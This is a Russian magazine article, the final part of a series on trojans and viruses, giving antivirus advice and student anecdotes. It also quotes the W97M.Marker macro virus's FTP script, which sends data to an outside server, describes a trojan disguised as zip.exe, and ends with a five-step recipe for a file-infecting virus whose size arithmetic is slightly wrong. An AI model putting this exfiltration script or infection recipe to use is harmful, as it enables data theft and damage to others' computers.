|
||
|
||
Раз троян, два троян (часть последняя)Подробнее о троянах. Чем защищать компьютер и как написать вирус за пять шагов. Алексей Павленко Для защиты от вирусов я рекомендую установить три программы, которые могут даже входить в один антивирусный пакет. Нужен дисковый ревизор, резидентный сканер и обычная программа для поиска вредителей. Антивирусы могут помочь в 99% случаях. Оставшийся процент резервируется под новинки и слегка переделанные исходники. Впрочем, если вам кто-то действительно хочет досадить, то он сделает это, не сомневайтесь! О стоимости. Все стоит денег, однако производители антивирусного программного обеспечения все чаще предлагают полные работоспособные версии бесплатно. Единственное «но»: так они будут функционировать лишь ограниченный промежуток времени. Потом надо скачивать новую версию или брать ее с компакт-дисков, распространяемых с журналами.
Чтобы защититься от макровирусов, достаточно включить подтверждение запуска макросов (в Office 2000 по умолчанию вообще запрещен их запуск) и сохранения изменений normal.dot. Если вы открываете документ Офиса, а программа предупреждает, что файл содержит макросы, то советую вначале отключить их запуск, а потом нажать Alt-F11 и попробовать посмотреть код. Если он окажется скрытым, то лучше вообще стереть файл.
Хочу предостеречь, что не всегда антивирусы находят действительно вирусы. И это не удивительно, потому что в современные пакеты встроена возможность поиска модификаций вирусов или даже их новых версий (так называемый эвристический анализ). Учитывать надо еще тот факт, что в программе не хранятся исходные тела вирусов, ведь тогда размер базы будет составлять мегабайты! Процедуры заражения файлов очень похожи, чем и пользуются создатели антивирусных программ. Посудите сами, дополнения к DrWeb занимают по несколько килобайт, а с их помощью можно ловить гадов на сотню-другую больше. Некоторое время назад мой товарищ скачал последнюю версию одного популярного антивируса и дополнения к нему. Запустил проверку, и программа сразу нашла пару подозрений на вирусы. Вылечить не смогла, зато успешно удалила файлы после согласия. Через минуту еще подозрения, и еще... Товарищу надоело нажимать кнопку с подтверждением, и он настроил программу на удаление всех «плохих» файлов. А потом антивирус подвел итоги и сообщил, сколько всего он нашел подозрений. Много нашел. Стал товарищ разбираться, от кого занес заразу. Оказалось, что программа ругалась на все файлы, откомпилированные Турбо Паскалем, без разбора: лабораторные, курсовой и т.д. Товарищ написал письмо в службу технической поддержки, в вежливой форме сообщил о проколах в программе и потерянных файлах. «Да», – ответила почти сразу техподдержка, - «Есть такой глюк, но мы его только что исправили. Вот, возьмите дополнение». Как вы думаете, что товарищ сделал с антивирусом после этого? А теперь давайте разберемся с троянами. Трояны, или троянские кони, – тоже обычные программы, причем по написанию они проще вирусов, так как не несут в себе возможности размножения. Особенность такой программы заключается в том, что она передает данные пользователя другому человеку. Сам я не встречал, но вполне могу принять факт существования вируса и трояна в одном лице. Уже упомянутый в предыдущей части макровирус W97M.Marker несет в себе элементы трояна. Маркер создает в корневом каталоге файл netldx.vxd, который потом исполняет: o 209.201.88.110" user anonymous" pass itsme@" cd incoming" ascii" Тут находится список пользователей, через которых прошелся вирус quit" command.com /c ftp.exe -n -s:c:\netldx.vxd Отсюда видно, что макрос передает на некий ftp-сервер информацию, а в ней может находиться ваше имя и адрес (если указывали в MS Office). Это был простой пример, в котором использовались стандартные средства операционной системы для работы по сети. Трояны вообще чаще всего предназначены для сетевого взаимодействия, иначе как передать полученную информацию (например, пароли)? В крайнем случае программа может собирать данные, а потом человек, ее запустивший, непосредственно с компьютера-жертвы заберет результат. Но это совсем неинтересно. Так что если вы не подключены к сети и никого не пускаете за свой компьютер, можете быть относительно спокойны. Часто трояны используют для другой цели – они помогают захватить управление над вашим компьютером. Для этого обычно применяется Back Orifice. Мне он не нравится, потому что не работает под Windows NT/2000, поэтому расскажу о возможностях троянцев на другом примере. Сижу я как-то в университете за компьютером, делаю лабораторную. Рядом одногруппники занимаются тем же самым. Вдруг у одного из них компьютер перегрузился. Понятное дело, Windows, но через минуту опять перегрузился без причины. А потом на экране возникает надпись: «Что, Вася, лабы делаешь?». Мы народ грамотный, сразу поняли в чем дело, стали искать в памяти программу-троян. Обнаружили и удалили процесс. Через минуту у другого соседа экран погас. Естественно, про лабораторную сразу забыли. Заинтересовались, кто это над нами шутит. Сразу скажу, шутника не нашли (жалко, не было с собой нужных утилит). Зато нашли исходники троянца то ли на Delphi, то ли на C++ Builder. Троянец состоял из двух частей: серверной и клиентской. Серверная управляла одной или несколькими клиентскими частями. Работало все очень просто. На компьютер переписывался клиент, который прятался куда-нибудь в каталог Windows. Он запускался невидимым окном каждый раз при загрузке ОС и опрашивал сетевой порт на получение данных. На другом компьютере запускалась серверная часть. Там указывался IP-адрес клиента. Если соединение с ним происходило, то можно было управлять удаленным компьютером. Нажмешь кнопку «Выключить монитор», по сети пошлется соответствующая текстовая строчка. Клиент примет ее и сделает то, что ему сказали. Кроме этого, он мог по запросу передать список запущенных приложений, файл, перегрузить/выключить компьютер, открыть или закрыть CD-ROM. Для последнего в программе использовался MediaPlayer (!!!) и десяток строчек кода. Про системные вызовы автор не знал. В общем, чтобы его написать, достаточно почитать Help по использованию компонентов TServerSocket и TClientSocket, а также изучить Delphi.FAQ. В последнем подробно написано, как выключать монитор. Странно, но почему-то это довольно популярный вопрос у пользователей. Если немного расширить описанную программу, можно получать снимок экрана, двигать чужой мышью или «нажимать» клавиши клавиатуры. Забавный момент был, когда я сам читал Delphi.FAQ. Делал я тогда программу для общения по локальной сети (она получилась гораздо мощнее неудобного WinPopup, но почему-то популярности не завоевала). Встроил я в нее шутку – раз в 5 минут у пользователя открывался и закрывался CD-ROM. Теперь представьте картину: человек (один в комнате) запустил мою программу для общения, болтаем ни о чем, а я смотрю на часы. И тут пауза, что такое? Человек очень испугался, что у него в памяти сидит троянец, позакрывал все программы (кроме моей!) и стал вирусы искать всеми доступными средствами. Тут еще пять минут проходит, опять диск выехал. Парень прибегает ко мне за диском с антивирусами. Мы с соседом еле сдержались, чтобы не рассмеяться при нем. Через минуту я шутку убрал и выставил в сеть нормальную версию программы. Парень в конце концов догадался, что я виноват, но в чем именно было дело, так и не понял. Несколько дней спрашивал, в какую программу я ему троянца заслал. Под каким видом распространяют троянских коней? Я встречал генератор троянцев. Несколькими нажатиями мыши создается файл zip.exe, у которого будет аналогичная иконка. Теперь его можно послать по электронной почте. При запуске инсталлируется клиентская часть, а чтобы пользователь ничего не заметил, программа вылетает с сообщением, что файл поврежден. «Бывает, не в первый раз закачка обрывается», – подумает человек и сотрет zip.exe. Вот и все, его компьютер под контролем. Существуют специализированные программы для поиска троянов. Одна из их возможностей – сканирование используемых портов, на которых может висеть программа для получения инструкций. Возможно, я ошибаюсь, но, по-моему, для этого можно воспользоваться программой netstat.exe, входящей в поставку Windows.
Как видно из рисунка 4, на компьютере прослушивается несколько портов. Среди них http-сервер и другие стандартные службы. А вот порты 2020 и 2050 вызывают подозрение. Тем более, к 2020 кто-то присоединился. Хотя название компьютера одно и то же, кто знает, может на нем сразу и серверная часть троянца установлена? Напоследок – схема написания простейшего вируса за 5 шагов: Давайте договоримся, что в самом начале есть файл virus.exe, который получается при компиляции. И есть просто program.exe. virus.exe – обычная программа, при запуске она копируется в оперативную память, а там уже выполняется. По шагам рассмотрим что будет, если запустить virus.exe или зараженный program.exe. Шаг 1 (поиск): Ищем другой program.exe (пропускаем virus.exe). Проверяем его последний байт. Если это буква V, то файл уже заражен. Переходим к шагу 1. Иначе шаг 2. Шаг 2 (заражение): Читаем 10000 байт program.exe и записываем их в конец, после этого еще добавляем букву V. Читаем 10000 байт своего файла (который сейчас запустили), пишем их вместо начала program.exe. Если длина вируса была 10000 байт, а program.exe – 1000000, то после заражения размер полученного файла составит 10010001 байт. Шаг 3 (восстановление файла): Если имя исполнимого файла virus.exe, то прекращаем работу. Задача выполнена: чужой файл мы заразили. Теперь сделаем так, чтобы пользователь не заметил, что у него вирус. Надо восстановить зараженный файл. Удаляем последний файл из своего исполнимого файла, читаем последние 10000 байт и записываем их в самое начало. Этим мы восстановили зараженный файл. Можно еще вернуть первоначальные атрибуты и файловое время. Шаг 4 (запуск): Используя системный вызов, запускаем свой файл. Шаг 5 (обратное заражение): Когда программа отработает, она вернет управление вирусу, запустившему ее. Он уже знает свой код и начальные 10000 байт program.exe. Просто заново пишет начало program.exe в конец файла, добавляет V, а свой код – в начало program.exe. Все. Вирус заразил чужую программу, дал пользователю запустить приложение. При желании шаг 5 можно пропускать. Тогда получится вирус-спутник, блуждающий по дискам жертвы.
Близкие материалы на сервере: Из
истории хака... Кто
сегодня борется с вирусами В
"окна" лезут вирусы Малая
вирусная энциклопедия. Часть I Малая
вирусная энциклопедия. Часть II Малая
вирусная энциклопедия. Часть III Малая
вирусная энциклопедия. Часть IV. Источник - SoftТерра, http://www.softerra.ru
|
||
|
||
Copyright © "Internet Zone", http://www.izcity.com/, info@izcity.com |